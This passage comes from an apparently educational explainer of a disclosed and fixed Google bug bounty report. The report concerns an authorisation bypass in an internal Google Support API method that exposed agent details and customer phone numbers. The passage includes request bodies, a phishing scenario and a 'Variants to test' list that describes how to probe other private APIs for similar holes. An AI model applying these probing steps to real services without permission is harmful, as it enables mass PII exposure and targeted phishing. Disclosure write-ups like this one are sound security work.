as a query parameter. The report stresses that the script is provided purely for ease of reproduction and that this is not a client-side vulnerability, meaning the flaw is on the server, not in the browser code.
The report lists the four successful calls, all made from a redacted IP address under a redacted account. An IP address is the numeric address a device uses on a network, and it is redacted here because it identifies the author:
- Sun, 01 Jun 2025 06:35:35 GMT
{ "includeInitialSnapshot": true, "timeRange": { "startTimestamp": "1748759699066" } } - Sun, 01 Jun 2025 11:01:56 GMT
{ "includeInitialSnapshot": true, "timeRange": { "startTimestamp": "1735713335000", "endTimestamp": "1735713345000" } } - Sun, 01 Jun 2025 11:05:34 GMT
{ "includeInitialSnapshot": true, "timeRange": { "startTimestamp": "1735713335000", "endTimestamp": "1735713345000" } } - Sun, 01 Jun 2025 12:44:58 GMT
{ "includeInitialSnapshot": true, "timeRange": { "startTimestamp": "1735713335000", "endTimestamp": "1735713345000" } }
A few other requests timed out with a 503 error and returned no data. A 503 is the standard code for "the server is temporarily unable to handle this".
The report's attack scenario: an effectively unauthenticated remote attacker, since any Google account works, may access personally identifying information for agents and customers of Google Support covering at least the last five months. PII, personally identifying information, is any data that can pick out a real person, such as a name, an email address or a phone number. That includes agent names and @google.com email addresses with activity status history such as lunch breaks; for chat customers, account names and support pools linked to agent details; and for phone customers, unredacted customer phone numbers linked to agent details. A support pool is a queue or team that cases are routed to. The report's back-of-the-napkin maths puts at least 30 million customer phone numbers as probably accessible, linkable to case ID numbers, agent details and support pools, enabling hyper-targeted phishing. Phishing is a scam message or call that pretends to be from someone you trust in order to get you to hand over information.
Root cause
The report does not describe the underlying code. What the testing shows is that the authorisation middleware checked resource identifiers present in the request path, which is why GET /v2/agents/{agent_id}:pools and similar paths failed immediately with 403 PERMISSION_DENIED, even with an invalid body. Methods without a resource ID in the path were not stopped by that check and failed later, at argument validation, the step that checks the request's contents make sense. changes:list has no resource ID in its path and takes only a time range, so the global check had nothing to inspect, and the method returned data instead of failing.. The author's theory is that this API endpoint is used by managers for some kind of big-picture breakdown of an entire support pool.
The API key was not the barrier either: it was hardcoded in client-side JavaScript, and Google does not treat discovery document access or API key exposure of this kind as a vulnerability in itself. The API key was not the barrier, since it was hardcoded in client-side JavaScript.
Impact
Any attacker with any Google account could access, for the time ranges they chose:
- Agent names, their
@google.comemail addresses and detailed activity status history, for example lunch breaks. - For chat customers: customer names and support pools, linked to agent details.
- For phone customers: unredacted phone numbers, linked to agent details.
Google was unwilling to disclose the exact number of accessible support cases. The author's rough guess in the report was a minimum of 30 million cases, believed to be an accurate lower bound. Data existed for at least 1 January 2025 to 1 June 2025.
Beyond the PII disclosure and the agent stalking implication, the author points to a phishing angle: a customer who has just finished a call with Google Support about a Play Store refund could receive a call ten seconds later from a "manager at Google Support" who knows the department called and the name of the agent spoken to, and asks them to reverify card details because of suspected fraud on the previous call.
Fix
Google closed the report as fixed on 2025-11-12. The timeline in the report:
| Date (UTC) | Event |
|---|---|
| 2025-06-01 14:26 | Reported to Google VRP as b/421705403 |
| 2025-06-02 08:59 | Triaged |
| 2025-06-02 10:39 | Accepted as P1/S1 |
| 2025-06-05 20:42 | Google requests deletion of any locally downloaded data |
| 2025-06-10 12:55 | VRP panel issues a reward of $14337.00 USD |
| 2025-09-27 02:35 | Re-testing shows the method is still vulnerable |
| 2025-09-29 12:29 | Google confirms the product team is still fixing the underlying issue |
| 2025-11-12 03:59 | Google closes the report as fixed, 164 days after the initial report |
| 2026-03-31 12:00 | Report disclosed |
Triaged means the report was reviewed and sorted for action. P1/S1 are Google's highest priority and severity labels. The reward rationale: the issue was assessed as a bypass of significant security controls impacting PII or other confidential user information (S2b) on a standard Google application (T2), plus a $1,000 bonus for the report. Google also removed public access to the discovery document.
Variants to test
- Enumerate discovery documents for other private Google APIs using API keys found in client-side JavaScript, then look for methods whose paths contain no resource identifier. A positive result is a method that returns data instead of failing at the global path check with 403
PERMISSION_DENIED. - For each such method, send a minimal body with a narrow time range or filter and check whether the response contains records belonging to other users, agents or pools. A positive result is any record you should not see, such as another customer's phone number or an agent's email address.
- Compare the methods the customer-facing widget actually calls against the full method list. Methods used only by internal tooling are the interesting ones; a positive result is one of them answering your request.
- Probe whether exposed identifiers such as
cbfConversationIdcan be used against other methods to reach chat contents. A positive result is a method that accepts the ID and returns conversation data. - Test whether state-changing internal methods without a path resource ID, such as call transfer or clock in/out, accept requests from a normal account. A positive result is a 200 response or a state change rather than 403 or 400.
- Re-test after a fix is announced, as the author did: the method was still vulnerable months after the initial report. A positive result is the same data still coming back.
Glossary
- API: the set of requests a program can send to a service to read data or make it do something.
- API key: a short string identifying which cloud project a request comes from, like a membership card.
- Attack surface: everything an attacker could try to interact with, every window and door on the building.
- Authentication: proving who you are.
- Authorisation: deciding whether the person asking is allowed to do the thing.
- CORS: the browser rule that stops a page on one site from quietly reading responses from another site.
- Cookie: a small piece of data a site stores in your browser and gets back with each request, used to remember you are signed in.
- Deanonymising: working out who a supposedly anonymous person really is.
- DevTools: the panel built into Chrome that shows what a page is doing and lets you run commands.
- Discovery document: a machine-readable catalogue of every endpoint an API offers.
- Edge case: a situation at the boundary of normal use that nobody designed for.
- Endpoint: one specific address on a server that answers a particular kind of request.
- Epoch timestamp: a moment in time written as the number of milliseconds since 1 January 1970.
- GCP: Google Cloud Platform, Google's service for running things in the cloud.
- Header: a labelled line of extra information sent alongside a request, like the address on an envelope.
<iframe>: a page embedded inside another page, a small window within a bigger one.- IP address: the numeric address a device uses on a network.
- JSON: a text format for structured data built from names and values in curly braces.
- Method: one callable operation on an API, one endpoint with a name.
- Middleware: code that inspects every request before it reaches the actual handler, like a receptionist checking badges.
- Parameter: one of the named values a request carries, like a field on a form.
- PII: personally identifying information, any data that can pick out a real person.
- Phishing: a scam message or call pretending to be from someone you trust to get you to hand over information.
- Project: a container inside GCP that groups resources and keys.
- Proxy frontend server: a middle machine that adds headers such as API keys on your behalf.
- Query parameter: the part of a URL after the
?, carrying extra values. - Resource hierarchy: the way an API groups endpoints by the kind of thing they act on.
- Resource identifier: the unique name of one record, like an account number.
- RPC: remote procedure call, a named operation you invoke on a server as if it were a function.
- SHA-1: a one-way fingerprint function that turns text into a fixed-length value.
- Support pool: a queue or team that support cases are routed to.
- Token: a string that proves who you are, similar in role to a cookie.
- Triaged: reviewed and sorted for action.
- Vulnerability: a flaw that lets someone do something the system did not intend.
- Vulnerability Rewards Program: a scheme where a company pays people who report flaws.
- 400: the standard code for a malformed request.
- 403: the standard code for "I know who you are, and you are not allowed".
- 404: the standard code for "not found".
- 503: the standard code for "the server is temporarily unable to handle this".